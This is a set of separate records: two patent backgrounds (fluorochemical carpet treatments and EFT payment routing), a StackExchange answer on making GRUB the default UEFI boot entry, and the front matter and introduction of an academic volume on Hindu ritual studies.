The treatment of various fibrous substrates, notably carpets, textiles, leathers and papers, with fluoroaliphatic group-containing polymers and oligomers enabling them to retain their original aesthetic appeal (e.g., to render them repellent to water- and oil-based stains and resistant to soils) has been known in the art for many years. Mason Hayek, Waterproofing and Water/Oil Repellency, in 24 KIRK-OTHMER ENCYCLOPEDIA OF CHEMICAL TECHNOLOGY 448–65 (3d ed. 1979), for example, provides a general overview of anti-staining and anti-soiling technology for fibrous substrates.
Fluorochemicals known to be useful for treating carpets include ester oligomers, as disclosed in U.S. Pat. No. 4,264,484 (Patel), carbodiimide oligomers, as disclosed in U.S. Pat. No. 3,896,251 (Landucci), guanidine oligomers, as disclosed in U.S. Pat. No. 4,540,497 (Chang), allophanate oligomers, as disclosed in U.S. Pat. No. 4,606,737 (Stem), oxazolidinone oligomers, as disclosed in U.S. Pat. No. 5,025,052 (Crater et al.), and acrylic polymers, as disclosed in U.S. Pat. No. 3,916,053 (Sherman et al.).
Fluorochemical urethane, urea, and biuret oligomers have often become the treatment of choice for carpets due to their durable soil-resistance properties. For example, U.S. Pat. No. 3,398,182 (Guenthner et al.) discloses the use of fluoroaliphatic urethanes in making oleophobic and hydrophobic coatings that resist removal by abrasion.
U.S. Pat. No. 5,350,795 (Smith et al.) discloses substantially organic solvent-free, aqueous solutions or dispersions for treating textile fibers and fabrics to impart oil and water repellency without thermal treatment comprising (a) a fluorochemical acrylate copolymer comprising the reaction product of a fluorinated acrylate monomer, polyoxyalkylene glycol acrylate or methacrylate, and polyoxyalkylene glycol diacrylate or dimethacrylate, and (b) a polyalkoxylated polyurethane having pendant perfluoroalkyl groups comprised of an aliphatic or aromatic tri- or higher order isocyanate, a fluorinated alcohol, amine or mercaptan, and a poly(oxyalkylene) diol or dithiol, the polyurethane having a weight average molecular weight of over 40,000.
U.S. Pat. No. 5,410,073 (Kirchner), U.S. Pat. No. 5,411,766 (Kirchner) and U.S. Pat. No. 5,414,111 (Kirchner) each describes polyfluoro nitrogen containing organic compounds made by reacting (a) at least one polyisocyanate or mixture of polyisocyanates that contain at least three isocyanate groups per molecule with (b) at least one fluorochemical compound which contains per molecule (i) a single functional group having one or more Zerewitinoff hydrogen atoms and (ii) at least two carbon atoms each of which contains at least two fluorine atoms, the amount of fluorochemical compound being sufficient to react with 95% to 40% of the isocyanate groups, (c) then reacting the reaction product of (a) and (b) with water in an amount to react with the about 5% to about 50% of remaining isocyanate groups; such compounds when applied to fibers and fabrics reportedly provide durable water-, oil- and soil-repellent and/or soil release properties to the fibrous substrate. U.S. Pat. No. 5,414,111 teaches specifically the use of a monofunctional, non-fluorinated organic compound as an optional reactive component.
U.S. Pat. No. 4,504,401 (Matsuo et al.) describes a stainproofing agent represented by the general formula (Rf—X-A-CONH)aW(NHCO-A′-Z)3-a, wherein Rf is a polyfluoroalkyl group having from 1 to 20 carbon atoms. X is —R—, —CON(R1)-Q- or —SO2N(R1)-Q- (where R is a divalent alkylene group, R1 is a hydrogen atom or lower alkyl group and Q is a divalent organic group), each or A and A′ is —O—, —S—, or —N(Z′)- (where Z′ is a hydrogen atom or a monovalent organic group), Z is a monovalent organic group, W is a trivalent organic group and a is an integer of 1, 2 or 3.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
Network processing infrastructures, such as EFT (Electronic Funds Transfer) network processing, are used to process payments from traditional credit or debit card transactions. EFT enables quick provisioning of account information and other related information for purchases and other purposes. For example, when a cardholding customer seeks to purchase an item at a store, the customer will generally hand her card to the merchant and the merchant will swipe the card through a magnetic stripe machine to read the card information, including the card number. Card numbers are typically 13-19 digits long, and uniquely identify the user's credit or debit account.
After the card number is received by the merchant, the merchant sends the card number, along with other information associated with the transaction, such as price, date, time, location, cardholder name, to a payment network. The payment network will typically route that information to the appropriate card issuer based on the card number. The first digits typically identify the “issuer,” that is, the entity, such as a company, that issued the card. So, for example, a card number beginning with a ‘4,’ e.g., 4000 1234 5678 9012, will typically identify VISA as the card provider/issuer. Each issuer typically has a numeric identifier that is associated with and represents their cards.
The appropriate issuer, for example, a credit or charge card company, will then typically consult its records to determine the appropriate account and verify whether that account contains sufficient funds or credit to make a transaction (e.g., a purchase). The result of this determination will typically be returned to inform the merchant whether the user is able to purchase the item. The entire process, from the original capturing of the card data to the response providing funds verification may happen in a relatively short period of time. In some situations, this process happens in real-time or in near real-time.
However, in some situations, a card number for accessing a customer's account is not available. For example, if a customer decides to pay by check, the merchant must capture the RTN (Routing Transit Number) for the bank that issued the check and the customer's personal account number. The merchant must then use a system such as the Automated Clearing House (ACH) to process the payment. ACH typically operates in batches and thus the process to authorize a purchase can take much longer than a card-based transaction. Thus, using ACH increases the amount of time for the merchant to acquire the funds promised. ACH use further includes a possibility of accepting payments that are later found to be uncollectable (also known as a “bounced check”).
In other situations, a customer may not wish to provide his account details to the merchant, for reasons of privacy or otherwise. This can cause issues in payment acceptance because a user will typically need to provide his payment card information. Without this information, the merchant is typically unable to accept payment.
Still in other situations, such as with commercial accounts, there is no card number that can be used to effect purchases. Thus, commercial purchases may need to rely on the ACH system to make purchases, which (as mentioned before) is slow, costly, and inefficient.
It would thus be desirable to provide for improved systems and methods for processing transactions to accounts using existing network processing infrastructure with real-time or near real-time access. It would also be desirable for these systems and methods to support routing, processing, settling, and reporting of payment transactions. Advantages of such systems and methods include increased speed for transaction processing, reliable account management and accounting, and/or a drop in uncollectable accounts. Further advantages will be recognized by one skilled in the art after considering the remainder of the disclosure.
|
{
"pile_set_name": "USPTO Backgrounds"
}
|
Q:
How to point to GRUB instead of windows loader?
I am relatively new to ubuntu and just installed 12.04.2 on my machine alongside the pre-installed windows 8. I created a new ext4 partition near the beginning of my disk, ran boot-repair from a live session and told it to set this new partition as the boot point and the windows efi partition as the efi boot. Now when I boot my computer, it only starts into windows. If I enter into the boot manager during startup (F9), my boot options are:
OS boot Manager (loads windows),
Ubuntu (loads GRUB with a choice of ubuntu or windows),
Boot from EFI File,
Notebook Hard Drive.
I would like to set GRUB as the default so that I do not have to enter the Boot Manager each time to load ubuntu. I ran boot-repair once more and obtained this information: http://pastebin.ubuntu.com/6097128/ .
How can I correct this?
Thanks!
A:
Try the following:
Boot to Linux.
Open a Terminal window.
Type sudo efibootmgr -o 1,2.
In theory, this should set up Linux (Boot0001 in the efibootmgr output) as the first item in the boot list, followed by Windows (Boot0002). Unfortunately, some computers (notably many HP models) have broken EFIs that ignore this parameter. If you've got such a computer, you may need to:
Re-launch Boot Repair.
Select the Advanced options in Boot Repair.
Check the option to back up and rename the Windows boot files.
Click Apply to make the changes.
This procedure applies an ugly hack of a solution for the ugly problem of a broken EFI: It renames the Windows boot loader file and puts a copy of GRUB in its place. That way, the broken EFI will launch GRUB, thinking it's the Windows boot loader. Boot Repair will also adjust GRUB configuration to launch Windows from its new name. It's possible to do this manually; Boot Repair just makes it easier to do it.
Alternatively, you could return the computer for a refund and buy something with a less-broken EFI. In the long run, if you've got an EFI that's broken badly enough to need this second (ugly hack) solution, that's the better solution. If people accept broken firmware, manufacturers will continue to sell us broken firmware, so we'll be dealing with the same problem in the future. If we return defective products, manufacturers are more likely to take notice of the problem and fix it.
|
{
"pile_set_name": "StackExchange"
}
|
Hindu Ritual at the Margins
**Studies in Comparative Religion**
_Frederick M. Denny, Series Editor_
# **Hindu Ritual at the Margins**
_Innovations, Transformations, Reconsiderations_
Edited by
LINDA PENKOWER AND TRACY PINTCHMAN
_The University of South Carolina Press_
© 2014 University of South Carolina
Published by the University of South Carolina Press
Columbia, South Carolina 29208
www.sc.edu/uscpress
23 22 21 20 19 18 17 16 15 14 10 9 8 7 6 5 4 3 2 1
Library of Congress Cataloging-in-Publication Data
Hindu Ritual at the Margins : Innovations, Transformations, Reconsiderations / Edited by Linda Penkower and Tracy Pintchman.
pages cm. — (Studies in Comparative Religion)
Based on presentations at a conference called "Ritualizing in, on, and across the Boundaries of the Indian Subcontinent" in honor of Fred W. Clothey on the occasion of his retirement and held at the University of Pittsburgh in March 2006.
Includes bibliographical references and index.
ISBN 978-1-61117-389-5 (Hardbound : alk. paper) — ISBN 978-1-61117-390-1 (Ebook)
1. Hinduism—Rituals—Congresses. 2. Hinduism—Social aspects—Congresses.
I. Penkower, Linda L., editor of compilation. II. Pintchman, Tracy, editor of compilation.
III. Clothey, Fred W., honouree.
BL1226.2.H47 2014
294.5'38—dc23
2014004293
To Fred W. Clothey, a leader in the creation of the field of ritual studies
## CONTENTS
List of Illustrations
Series Editor's Preface
Acknowledgments
[Introduction
TRACY PINTCHMAN AND LINDA PENKOWER](Introduction.html)
Part 1. Transformations: History and Identity
[The Medieval Murukaṉ
_The Place of a God among His Tamil Worshipers_
LESLIE C. ORR](Chapter01.html)
[A Tale of Two Weddings
_Gendered Performances of Tuls ī's Marriage to Kṛṣṇa_
TRACY PINTCHMAN](Chapter02.html)
[The Roles of Ritual in Two "Blockbuster" Hindi Films
PHILIP LUTGENDORF](Chapter03.html)
Part 2. Innovations: Globalization and the Hindu Diaspora
[The Politics of Ritual among Murukaṉ's Malaysian Devotees
ELIZABETH FULLER COLLINS AND K. RAMANATHAN](Chapter04.html)
[Women, Ritual, and the Ironies of Power at a North American Goddess Temple
CORINNE DEMPSEY](Chapter05.html)
[Hindu Ritual in a Canadian Context
PAUL YOUNGER](Chapter06.html)
Part 3. Reconsiderations: Context and Theory
[The Accidental Ritualist
DAVID L. HABERMAN](Chapter07.html)
[Ritual as Dharma
_The Narrowing and Widening of a Key Term_
ALF HILTEBEITEL](Chapter08.html)
[From Diaspora to (Global) Civil Society
_Global Gurus and the Processes of De-ritualization and De-ethnization in Singapore_
JOANNE PUNZO WAGHORNE](Chapter09.html)
Contributors
Index
## ILLUSTRATIONS
Subrahmaṇya. Eighth-century stone relief sculpture
Subrahmaṇya with Vaḷḷi and Devasenā. Early eleventh-century bronze sculptures
Subrahmaṇya with peacock. Thirteenth-century bronze sculpture
Wedding performed at Assi Ghāṭ
Wedding performed at Śrī Maṭh
Satyavatī nears the end of her worship of Santoṣī Mā
Prem and Niśā during an exuberant dance number
Chettiyar vow fulfillment—performing the _k āvaṭi_ dance
Working-class devotees of Murukaṉ with hook-piercing dance
The milk-offering form of vow fulfillment promoted by reformers
A devotee with small pots of milk suspended from hooks in his chest
Murukaṉ in front of Batu Caves in Kuala Lumpur
Temple devotee performs _p ūjā_ to Rājarājeśwarī
Temple participant performs _abhi ṣekam_ during Śivarātri
Ganesha Temple central shrine
Hindu Sabha
Ornate alcove for His Divine Grace Jnana Sitthar
Saturday shoppers crowd the ION center on Orchard Road
Woman takes _prashad_ at a birthday celebration for Sri Sri Ravi Shankar
## SERIES EDITOR'S PREFACE
The editors of this pioneering volume on Hindu ritual do not intend to suggest that the contexts and practices studied are considered to be marginal as "juxtaposed against something in or about Hinduism that is normative or authoritative." They "understand ritual to be of human construct and thus fluid over time and place—neither static nor unified but rather occasioning diversity, difference, and dispute." This volume's illuminating contributions by a variety of leading contemporary scholars of Hinduism and ritual studies continue the innovative and creatively critical spirit of major theoretical studies of ritual over the past couple of decades, including Ronald Grimes's _Ritual Criticism: Case Studies in Its Practice, Essays on Its Theory,_ which was published in this series in 1990.
A central goal of this collection, according to its editors, is "pushing our understanding of the complexities of religion, and Hinduism in particular, beyond the limits, boundaries, or 'margins' to which the Western scholarly community has until recently historically corralled it." As the editors declare, "We are, collectively, more interested in change, transformation, and dissonance than in stability, continuity, or consonance." The authors present diverse studies that consider Hindu ritual in traditional historical settings in South Asia, in the contemporary Hindu global diaspora, and in the contexts of contemporary ritual theory. The sophisticated, diversely fascinating, and accessible studies will reward readers—whether professors, their students, or the global market interested in Hinduism in today's world—with discourses that expand our knowledge and understanding of "popular religion" well beyond the traditional but currently declining boundaries of "official religion," whether as defined by orthodox Hindu priests or conventional Western scholars.
_Frederick M. Denny_
## ACKNOWLEDGMENTS
Because of the efforts of scholars such as Fred W. Clothey beginning in the 1970s, the field of ritual studies has been recognized as a discrete area of scholarly pursuit within religious studies, and the study of South Asian religions, in particular, has moved out of the rarified realm of textual study to reveal vibrant and complex religious universes within diverse South and Southeast Asian and Indian diasporic communities. Clothey was a founder of the _Journal of Ritual Studies,_ produced and directed six documentary films on ritual, and has written or edited eight books, including _Rhythm and Intent: Ritual Studies from South India, The Many Faces of Murukan,_ and _Ritualizing on the Boundaries: Continuity and Innovation in the Tamil Diaspora,_ which inspired the idea for this volume. We are indebted to Clothey's many contributions to the fields of ritual and South Asian studies and offer the essays that appear here with admiration, affection, and appreciation.
This volume was made possible with the help and support of many people and organizations. The essays that appear in this collection were initially prepared for a conference called "Ritualizing in, on, and across the Boundaries of the Indian Subcontinent" in honor of Clothey on the occasion of his retirement and held at the University of Pittsburgh in March 2006. The conference was convened by Linda Penkower and sponsored by the University of Pittsburgh's Office of the Provost and Dietrich School of Arts and Sciences, Asian Studies Center (ASC), and Indo-Pacific Council of the University Center of International Studies, and Department of Religious Studies. Additional support was provided by the Department of Anthropology, the Program in Cultural Studies, and the University Honors College. We are deeply grateful for the generous institutional support.
We would especially like to thank Nicole Constable, then acting director of the ASC, and Richard J. Cohen, then its associate director, for their encouragement and support of the initial conference proposal, and Jason Fuller of DePauw University for his assistance with the preorganization of the conference. The success of the conference in large part was because of the unflagging administrative and organizational skills of Judith Macey, then administrator of the Department of Religious Studies, and Dianne F. Dakis and Elizabeth Greene, formerly of the ASC. We thank them for service above and beyond the call of duty. Thanks also go to Doreen Hernández, formerly of the ASC, for her artistic and technical acumen in designing the conference website, posters, and brochure.
Our deepest appreciation is reserved for the excellent scholars whose contributions appear in this volume and to those contributors (and their friends and family) who shared their original images that grace its pages. We also wish to thank Ron L. Grimes, now professor emeritus of religion and culture at Wilfrid Laurier University and former chair of ritual studies at Radboud University (the Netherlands), who delivered the conference keynote address, Jeffrey Brackett of Ball State University, Raymond Brady Williams of Wabash College, and Katherine K. Young of McGill University. While their work does not appear in this collection, their presentations and insights during the conference both enlivened the proceedings and added to the success of the essays included here. Thanks also go to our discussants, Joseph S. Alter and Alexander Orbach of the University of Pittsburgh and Donald S. Sutton of Carnegie Mellon University, for their astute comments and critiques during the two-day conference, and to Tony Edwards, Paula M. Kane, and Adam Shear of the University of Pittsburgh for chairing the conference sessions. Thanks too to the Sri Venkateswara Temple in Penn Hills, Pennsylvania, for hosting a tour for our conference participants.
We would also wish to acknowledge two contributors to this volume who were unable to join the conference but whose excellent contributions are included in this collection: Philip Lutgendorf, who authored "The Roles of Ritual in Two 'Blockbuster' Hindi Films," and K. Ramanathan, who coauthored (with Elizabeth Fuller Collins) "The Politics of Ritual among Murukaṉ's Malaysian Devotees." We are grateful to the Rajaraja Museum and Art Gallery, Thanjavur, for permission to use two images that appear in "The Medieval Murukaṉ: The Place of a God among His Tamil Worshipers," and to the American Institute of Indian Studies for supplying those photographs. An original image by Tracy Pintchman graces the cover of this book.
We are especially indebted to Frederick M. Denny, series editor of Studies in Comparative Religion; Linda Haines Fogle, assistant director for operations; Jim Denton, acquisitions editor; Bill Adams, managing editor; Suzanne Axland, marketing director; and the editorial staff at the University of South Carolina Press for their patience and resolute support of this project and for seeing it through to publication. We also wish to express our gratitude to our two anonymous manuscript reviewers; this volume greatly benefited from their thoughtful suggestions. Finally special thanks go to Marilyn Squier of Twin Oaks Indexing, who prepared the index to the volume, with funding provided by Loyola University Chicago.
## Introduction
TRACY PINTCHMAN AND LINDA PENKOWER
Boundaries can be territorial (e.g., what space is "ours"?); more often they are boundaries of mind and spirit as people struggle for a sense of self between and within cultures, between generations, between the world of work and that of home, between the metaphors of their youth and those of their children.
_Fred W. Clothey (2006, 1)_
The essays in this collection take up consideration of Hindu forms of ritual in contexts that we understand to be, generally speaking, marginal. We understand the word _marginal_ in this context to be defined variously as, among other things: (1) at an edge, border, limit, or boundary, including a boundary between abstract or physical entities; (2) at an extremity or furthermost part of something, even to the point of being almost eliminated or erased; (3) at a region or point of transition in and between states, historical time periods, and so forth; or (4) at a moment in time when change or occurrence is imminent.
By using the term _marginal,_ we in no way intend to suggest that the subject matter of this volume should be juxtaposed against something in or about Hinduism that is normative or authoritative. We understand ritual to be of human construct and thus fluid over time and place—neither static nor unified but rather occasioning diversity, difference, and dispute. While ritual does imply repetition, when considered as the expression of religious identity, values, myths, beliefs, even politics, it is also particularly sensitive to cultural and regional context and personal and community preferences; it can function both to reinforce existing traditions and to help create new ones. The ritual margins that we look at in this volume therefore should not be conceived as deviations from a "center" or North Star that determines orthodoxy/orthopraxy. There is nothing exceptional about Hinduism in this sense. Nor is this volume in the business of determining who should and should not sit at the table when it comes to defining what it means to be Hindu or what constitutes, or is the focus or intended outcome of, a Hindu ritual.
Rather when we speak of margins, we are much more interested in pushing our understanding of the complexities of religion, and Hinduism in particular, beyond the limits, boundaries, or "margins" to which the Western scholarly community has until recently historically corralled it. Within the last generation or so, the field of Hindu studies has moved beyond a near exclusive concern with philology, texts, and doctrine to include methodologies employed by anthropology, art history, literary criticism, sociology, and cultural, film, and gender studies, to name a few. This trend is also reflected within the field of religious studies more broadly, where "popular religion" (itself now a contested term) is no longer considered a superfluous or secondary category in contradistinction to "official religion" (see, for example, Bell 1989). And whereas training in and study of Asian religions have more often than not come to be delineated by region, language bases, and so forth, religious studies, along with cognate disciplines in the humanities and social sciences, now readily participates in discussions of a more comparative nature. The multidisciplinary study of "ritual at the margins," which may refer to geographical or spatial relations, to dynamics in and between communities and institutions, gender groups and social classes, as well as to other tangible and intangible entities, gives us just such an opportunity to engage in this discourse.
The essays in this volume all play with ritual contexts that are "marginal" in a variety of ways: for example in diaspora, that is, geographically marginalized Hindu contexts beyond the boundaries of India, traditionally understood as beyond "Hindusthan," or the place of Hindus (for example, Canada, Malaysia, Singapore, and upstate New York); in contexts scholars have not traditionally taken up in their explorations of Hindu ritual activity (such as contemporary Indian films or texts on dharma); between communities (as in rituals that are performed differently by two different gender, ethnic, social, or political groups); in settings in which either ritual itself or direct discussion of ritual is absent (as in new guru-centered movements); in contexts that create new opportunities for traditionally marginalized participants (for example, women); in contexts where the received tradition is challenged (as in the "discovery" of medieval ritual activity absent from texts but knowable through art and epigraphy); or in theoretical perspectives that have been marginalized in the academy (such as an "indigenous" perspective on ritual found in classical mythological texts). Our main goal is to understand how ritual actors in such contexts come to shape or reshape ritual activity or conceptions pertaining to ritual, adopting either ritual action or thought about ritual action to the context in which it occurs or, conversely, how exploration of some particular context requires that we reshape our understanding of that ritual activity. We are, collectively, more interested in change, transformation, and dissonance than in stability, continuity, or consonance. We embrace contexts of dynamic tension to see how both ritual and our understanding of ritual respond to and are shaped by such tension. For us, playing at the margins means recognizing that these tensions themselves underlie ritual and that ritual itself often holds incongruous or multilayered sensibilities within it. We thus bring together in this volume a group of scholars who work across geographical areas and disciplines in order to examine how diverse groups of Hindu individuals and communities have come to understand or utilize the dynamic processes through which Hindu ritual is shaped, challenged, and redefined.
We also take under consideration two related subissues: (1) how ritual or conceptions of ritual might change in response to, for example, historical transformation, globalization, or the internal diversity of ritualizing communities; and (2) how scholarly considerations of ritual or approaches to the study of ritual might fruitfully change in response to shifting hermeneutical horizons regarding what constitutes ritual and its place in the study of religion. Questions that appear at marginal locations often can be brought to bear fruitfully on notions that sit squarely at the center of our conceptual worlds and can even function to displace received truths and accepted paradigms; it is our hope that our essays will be provocative in this way.
The "Hindu" in Hindu Ritual
Before proceeding we should say a brief word about the ritual activity that we identify as "Hindu." We use the term _Hindu_ in this volume descriptively and provisionally to refer to contexts that, from a contemporary perspective, belong to categories that scholarly consensus would, in our opinion, accept as Hindu, broadly speaking. We are well aware that in recent years some scholars have challenged the very legitimacy of the categories "Hindu" and "Hinduism," categories that went pretty much unquestioned by earlier generations. These scholars argue that Hinduism as a religion was essentially invented in the nineteenth century, either by British scholars and colonial administrators or by Indians responding to colonial exigencies, and has no real referent prior to that period (for example, Lorenzen 1999; Llewellyn 2005). While in some ways quite true, this argument can also be misleading. Here reasonable counterarguments have been voiced by scholars, such as David Lorenzen, who point to the emergence in the Purāṇas, as early as 300–600 c.e., of a set of beliefs and practices that, while displaying continuities with the earlier Vedic religion, nevertheless constitute something that one could justifiably call new, perhaps even Hindu (Lorenzen 1999, 655). Inasmuch as the earlier Vedic texts are claimed by later Hindu traditions, reinterpreted, and subsumed by them, we also extend our collaborative inquiry to include Vedic materials. There is a vast body of scholarship on Vedic and Hindu ritual, and it would be foolhardy to attempt to summarize it in any way or even try to highlight its major works or themes. Instead we make note of our aim to engage broader theoretical considerations of the type outlined below as the ground on which we build our exploration of ritual activity in the context of South Asian religious expression.
The Study of Ritual and the Study of Religion
While the study of ritual practice has long been a concern in the academic study of religion, the field of ritual studies as a self-consciously constructed discipline in and of itself is a relatively new phenomenon. Ronald Grimes, one of the leading contemporary scholars of ritual studies, notes that while ritual studies may include textual analysis of some kind, its primary focus is on "performance, enactment, and other forms of overt gestural activity" (Grimes 1990, 9). Ritual studies as a field considers all types of ritual, including those, such as political rituals, that one might not ordinarily think of as religious in character. But the rise in academic attention to ritual as a category of study in its own right in the last three decades has had a profound effect on religious studies scholarship, infusing the study of religious practices from diverse religious traditions with fresh energy and new forms of critical attention.
In his attempt to understand what we might mean by the term _ritual_ within the larger field of religious studies, Grimes outlines what he calls a "terminological division of labor" among four terms that appear commonly in ritual studies: _rite, ritual, ritualizing,_ and _ritualization._ Grimes defines _rite_ as "specific enactments in concrete times and places" that can usually be named (for example, a Bar Mitzvah). They are, says Grimes, the actions enacted by ritualists and observed by "ritologists." The term _ritual,_ by contrast, refers to the "general idea" of which any particular rite is a specific instance: "ritual" is a scholarly idea, what one refers to in formal definitions, while "rites are what people enact." Hence, says Grimes, ritual itself does not exist except as an idea that scholars formulate. He uses the term _ritualizing_ to suggest the process of deliberately cultivating or inventing rites and _ritualization_ to refer to activity that is not culturally framed as ritual (such as television watching) but that, in certain contexts, an observer (such as a scholar of religious studies) may come to interpret as though it were ritual (Grimes 1990, 9–11). _Ritualizing,_ for Grimes, is a term that is meant to refer to processes that "fall below the threshold of social recognition of rites" (10).
Yet another term that has come to be important in scholarly work on ritual, including the study of ritual within the field of religious studies, is _performance._ Stanley Tambiah (1979) was one of the first influential scholars to advocate a performative approach to the study of religious ritual, but others (including Catherine Bell, Pierre Bourdieu, Ron Grimes, and Richard Schechner) have followed in his footsteps. Bell, for example, emphasizes the performance model of ritual studies in the study of religion. Bell maintains that use of the term _performance_ facilitates exploration of religious activity "in terms of the qualities of human action" (Bell 1998, 205). In religious studies scholarship, _performance_ may be invoked instead of the term _ritual_ especially in order "to counter the scholarly tendency to approach religious activity as if it were either a type of scriptural text to be analyzed or the mere physical execution of a preexisting ideology" (206–7). The performative approach thus advocated by Bell and others begins with the question "How do participants do what they do?" rather than the earlier interpretive question about meaning. Bell observes that performance imagery uses a vocabulary that "attempts to go beyond primarily intellectual assessments of what ritual does for a better appreciation of the emotional, aesthetic, physical, and sensory aspects of religion" (209) in much the same way, for example, that music can move us whereas its score alone does not (Sharf 2005, 250, 251–52). Mary E. Hancock, similarly, in her work on women's domestic rituals in South India, treats ritual as an "aesthetic practice" that "produces complex subjectivities.... Rituals only superficially enact textual recipes. More fundamentally, they are performances attributed with the power to transform participants" (1999, 22).
Bell lists several basic concepts that she considers central to most performative approaches to ritual studies. She observes, for example, that "closely involved with this perspective on ritual events is an appreciation of the physical and sensual aspects of ritual activity. Some theorists appeal to kinesthesia, the sensations experienced by the body in movement.... Such theories attempt to grasp more of the distinctive physical reality of ritual so easily overlooked by more intellectual approaches" (1997, 74). This shift to focusing attention on the performative dimensions of ritual activity signals a shift away from what Bell and others observe to be a problematic bifurcation between action and thought, with an implicit subordination of act to thought (Bell 1998, 205; Bell 1992, 49; cf. Sered 1994, 121). The contemporary study of ritual rejects this dichotomy and its associated value hierarchy, instead highlighting the complex dynamics inherent within religious performance itself. In so doing the performative approach largely avoids essentialism by focusing on the elements (such as institutions and training) through which ritual mastery ("the ritualized body" in Bell's words; or "practical mastery" in Bourdieu's) is obtained (Bell 1992, 98–99; Bourdieu 1990, 90–91).
More specifically, in this volume we retain the term _ritual_ as a hermeneutically useful term readily recognizable to both academic and general audiences to encompass _ritual,_ _rite,_ and _performance._ Differences between specific occurrences of particular enactments and the general idea that is illustrated by the rite are often not at all clear in many of the contexts explored in this book, so the distinction that Grimes draws between rite and ritual is not one to which we call attention in our collaborative work. Furthermore while some of our chapters do emphasize the performative dimensions of ritual, others do not. Hence we use _ritual_ as an encompassing term that can incorporate the concerns that we highlight collectively in all our essays.
This volume does not aim to advance new definitions of ritual, and the essays presented here, for the most part, do not set out to engage directly in ritual theory; nonetheless the above overview does lead to a question that is fundamental to our collective enterprise.
What Is Ritual?
Numerous definitions of the term _ritual_ exist. They are, however, limited in usefulness at best and misleading at worst. Bell observes that definitions of _ritual_ presume, "however provisionally, that there is something we can generally call ritual and whenever or wherever it occurs it has certain distinctive features" (1992, 69). Contemporary scholars of ritual have called such a presumption into question. In this regard many have argued that ritual may be more properly thought of as an aspect of human activity or way of performing an activity rather than a specific type of activity. Grimes, for example, emphasizes the importance of viewing ritual as "not a 'what,' not a thing,'" but "a 'how,' a quality, and there are 'degrees' of it. Any action can be ritualized, though not every action is a rite" (1990, 13). Bell adopts the term _ritualization_ in a way that is distinct from that of Grimes to refer to "the way in which certain social actions distinguish themselves in relation to other actions.... Ritualization is a way of acting that is designed and orchestrated to distinguish and privilege what is being done in comparison to other, usually more quotidian, activities" (1992, 74).
Grimes also steers away from defining ritual as such, preferring instead to identify the "family characteristics" by which we come to think of particular activities as ritual. The benefit of such an approach, he suggests, is twofold. First, it prevents us from thinking of actions in a binary way, as either ritual or not ritual, as many activities may be ritualistic in at least some aspects. Second, it enables us to think of ritual not as a "thing" but as a quality, a way of acting, which, as noted above, is what he advocates (1990, 13). Grimes identifies fifteen characteristics of ritual (1990, 14), which we list here. For him ritual is activity that is characterized by some or all of these qualities, although none of them is either definitive or unique to ritual. Ritual may be
1. Performed, enacted gestural (not merely thought or said);
2. Formalized, elevated, stylized, differentiated (not ordinary, unadorned, or undifferentiated);
3. Repetitive, redundant, rhythmic (not singular or once-for-all);
4. Collective, institutionalized, consensual (not personal or private);
5. Patterned, invariant, standardized, stereotyped, ordered, rehearsed (not improvised, idiosyncratic, or spontaneous);
6. Traditional, archaic, primordial (not invented or recent);
7. Valued highly or ultimately, deeply felt, sentiment-laden, meaningful, serious (not trivial or shallow);
8. Condensed, multilayered (not obvious; requiring interpretation);
9. Symbolic, referential (not merely technological or primarily means-end oriented);
10. Perfected, idealized, pure, ideal (not conflictual or subject to criticism and failure);
11. Dramatic, ludic (not primarily discursive or explanatory);
12. Paradigmatic (not ineffectual in modeling either other rites or nonritualized action);
13. Mystical, transcendent, religious, cosmic (not secular or merely empirical);
14. Adaptive, functional (not obsessional, neurotic, dysfunctional);
15. Conscious, deliberate (not unconscious or preconscious).
Jonathan Z. Smith similarly describes ritual not as a particular type of activity but instead as "a mode of paying attention" (1987, 104). He continues: "A ritual object or action becomes sacred by having attention focused on it in a highly marked way. From such a point of view, there is nothing that is inherently sacred or profane. These are not substantive categories, but rather situational ones" (105). Hence for Smith, too, ritual is a way of acting rather than a specific type of action. He emphasizes in his understanding of ritual the difference between ordinary, mundane activity and activity that is set apart as ritual. He asserts, "Ritual represents the creation of a controlled environment where the variables (the accidents) of ordinary life may be displaced precisely because they are felt to be so overwhelmingly present and powerful. Ritual is a means of performing the way things ought to be in conscious tension to the way things are" (109).
Elizabeth Fuller Collins articulates two distinctive approaches to the contemporary study of ritual: one that emphasizes what ritual does to people and another that emphasizes what people do with ritual (1997, 17). The first approach elicits a hermeneutics of suspicion, seeking to elucidate ways that ritual practices affirm and reproduce larger relations of social power, often without the conscious assent of ritual actors. The second approach emphasizes instead the ways people use ritual forms to pursue their own individual and collective interests, appropriating and sometimes modifying rituals when convenient or desirable (178). While the first approach Collins outlines stresses the nature of ritual actors as (frequently unwitting) recipients of larger ideological and hegemonic structures, the second stresses their nature as agents who may creatively deploy ritual for their own purposes. While both approaches clearly have a role to play in shedding light on the nature of ritual practice, the essays in this volume tend to emphasize the latter approach, highlighting the agency of human actors in shaping their worlds through and with ritual action.
In this regard some scholars have emphasized the nature of ritual as both constructive and strategic, producing through particular strategies specific types of meaning and values. Through practice ritual actors are, for example, able to appropriate, modify, or reshape cultural values and ideals that mold social identity (Bell 1997, 73, 82). The understanding of ritual as a type of performance becomes especially helpful here for, as Bell notes, _performance_ suggests "active rather than passive roles for ritual participants who reinterpret value-laden symbols as they communicate them.... Ritual... does not simply express cultural values or enact symbolic scripts but actually effects changes in people's perceptions and interpretations" (1997, 73–74).
The active imagery of performance has also brought the possibility of a fuller analytical vocabulary with which to talk about the nonintellectual dimensions of what ritual does, that is, the emotive, physical, and even sensual aspects of ritual participation. Hence ritual as a performative medium for social change emphasizes human creativity and physicality: ritual does not mold people; people fashion rituals that mold their world (Bell 1997, 73). Collins observes that thinking of ritual as performance also requires greater sophistication in thinking through issues of agency. She notes, "The model of performance implies several different agents and different kinds of agency. There is the agency of the author of the text, but also the agency of the performers who choose to perform a particular ritual or a particular variant of a ritual text and who may even revise the text or tradition in their performance. There is the agency of those who participate as audience" (1997, 183–84).
Bell, Grimes, Smith, and Collins present ways of understanding ritual and approaches to the study of ritual that offer us complex, nuanced, and dynamic categories for thinking about human religious activity. Building on their observations, we take under consideration in this volume a range of human action that we understand to be "ritual" not as a particular type of circumscribed activity but rather as a way of performing action—religious action in particular—that sets it apart from ordinary life (Bell), draws on a shared set of formal characteristics (Grimes), focuses the attention of participants and observers in a way that sets the action in question apart from everyday life (Smith), and both shapes and is shaped by human ritual actors (Collins).
